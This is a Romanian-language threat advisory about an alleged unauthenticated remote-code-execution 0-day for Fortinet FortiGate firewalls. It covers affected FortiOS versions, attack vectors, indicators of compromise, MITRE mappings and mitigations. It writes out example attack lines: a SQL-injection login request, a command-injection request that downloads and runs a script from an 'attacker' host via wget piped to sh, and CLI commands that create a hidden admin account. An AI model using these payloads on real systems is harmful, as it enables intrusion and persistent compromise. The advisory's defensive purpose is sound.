# Presupus Exploit 0-Day pentru FortiGate

| | |
|---|---|
| **Context general** | • Țintă afectată: Dispozitive Fortinet FortiGate, utilizate pentru firewall, VPN, UTM.<br>• Nivel vulnerabilitate: Suspectat a fi un 0-day RCE autentic.<br>• Status oficial Fortinet: Nu a confirmat public vulnerabilitatea la momentul redactării. |
| **Versiuni afectate** | • FortiOS 7.2.x - 7.2.0 până la 7.2.5 inclusiv.<br>• FortiOS 7.4.x - 7.4.0 până la 7.4.2 inclusiv.<br>***!*** *Versiunile menționate sunt printre cele mai recente și populare în mediile enterprise. Nu este clar dacă 7.0.x sau mai vechi sunt afectate, dar se recomandă precauție.* |
| **Descrierea 0-day-ului oferit spre vânzare** | 1. Vector de atac:<br>Remote Code Execution (RCE) completă asupra interfeței WAN/publice a echipamentului FortiGate.<br>Exploatabil fără autentificare (***Unauthenticated RCE***).<br>Ar funcționa împotriva versiunilor firmware recente (inclusiv 7.2.x și 7.4.x).<br>2. Detalii furnizate de vânzător (presupuse):<br>• PoC validat pe *FortiOS 7.2.5 și 7.4.2*<br>• Include shell interactiv (***/bin/sh***) post-exploatare<br>• Suportă livrarea payload-urilor binare sau reverse shell către hosturi atacatoare |
| **Metodologie de exploatare** | • Buguri în interfața *HTTPS admin* (ex: path traversal, deserializare).<br>• Endpointuri *REST API* sau *XML-RPC* fără autentificare corectă.<br>• Funcții neprotejate expuse pe porturile:<br>✓ TCP 443 (HTTPS)<br>✓ TCP 10443, 8443 (SSL-VPN)<br>✓ UDP 500, 4500 (IPSec VPN)<br>Exemplu de vector similar anterior:<br>„ POST /remote/logincheck<br>Content-Type: application/x-www-form-urlencoded<br>username=admin&password=' OR '1'='1 ” |
| **Exploatare în lanț** | Este posibil ca exploitul 0-day să fie parte dintr-un lanț de exploatare care implică:<br>• Information disclosure prin endpoint-uri vechi (*ex:/api/v2/monitor/system/firmware)*<br>• Upload shell sau backdoor prin injection (ex: *wget \| bash, curl -s -L*)<br>• Persistență prin modificarea configurării CLI (creare cont admin ascuns)<br>Exemplu de comandă injectabilă dacă nu se validează inputul:<br>„ GET /remote/hostcheck_update?host=;wget http://attacker/sh.sh -O-\|sh ” |
| **Indicații de posibile semne de compromitere** | Indicator: Exemplu<br>URL suspicioase: ***/remote/fgfm, /api/v2/cmdb***<br>Activitate pe porturi: ***TCP 443, 10443, 8443***<br>Procese neobișnuite: ***init, bin/sh*** în memorie |

# Presupus Exploit 0-Day pentru FortiGate

<table>
<tr><td></td><td>IP-uri comune</td><td colspan="2">Scanări masive pe 443 de la IP-uri noi din cloud</td></tr>
<tr><td>Detecție și vânătoare (Threat Hunting)</td><td colspan="3">Indicatori tehnici și comportamentali:<br>• Apeluri către:<br>✓ /remote/logincheck<br>✓ /api/v2/cmdb/system/admin<br>✓ /fortigate/system/info<br>• Comenzi neobișnuite în syslog:<br>✓ execute ping către IP-uri externe necunoscute<br>✓ config system global fără activitate legitimă anterioară<br>• Crearea conturilor:<br>„ config system admin<br>edit hackeradmin<br>set password secretpass123! ”<br>Alte metode:<br>• Monitorizați traficul criptat pe porturile 443 și 10443 cu entropie ridicată → pot ascunde shelluri prin HTTPS.<br>• Verificați integritatea binarelor în /bin, /sbin și procesul init.</td></tr>
<tr><td rowspan="6">Tactici, Tehnici și Proceduri (MITRE ATT&CK)</td><td>Tehnică</td><td>Cod MITRE</td><td>Descriere</td></tr>
<tr><td>Exploitation for Public-Facing App</td><td>T1190</td><td>Exploatarea interfeței SSL-VPN / GUI</td></tr>
<tr><td>Command and Control over Web Protocol</td><td>T1071.001</td><td>Canale C2 prin HTTPS</td></tr>
<tr><td>Valid Accounts</td><td>T1078</td><td>Crearea conturilor administrative</td></tr>
<tr><td>Persistence via Config Modification</td><td>T1601.001</td><td>Modificarea permanentă a configurației</td></tr>
<tr><td>Scheduled Task/Job</td><td>T1053</td><td>Backdoor programat în crontab/init.d</td></tr>
<tr><td>Recomandări</td><td colspan="3">• Efectuați upgrade la FortiOS 7.2.6+ sau 7.4.3 (dacă apare) imediat ce devine disponibil.<br>• Implementați 2FA pe interfața GUI și dezactivați accesul cu parole simple<br>• Centralizați logurile FortiGate într-un SIEM (Splunk, Wazuh, SentinelOne)<br>• Creați YARA/Sigma rules pentru detectarea exploatării comportamentaleRestricționarea accesului la interfața de administrare publică.<br>• Mutarea managementului pe rețea internă și porturi non-standard.<br>• Dezactivarea Web GUI pe WAN dacă nu e esențială.<br>• Monitorizare loguri FortiGate pentru cereri anormale pe /remote/, /api/, /logincheck.<br>• Scanare cu semnături de exploit behavior (EDR/IDS/IPS).<br>https://nvd.nist.gov/<br>https://cybersecuritynews.com/hackers-allegedly-selling-fortigate-0-day/</td></tr>
</table>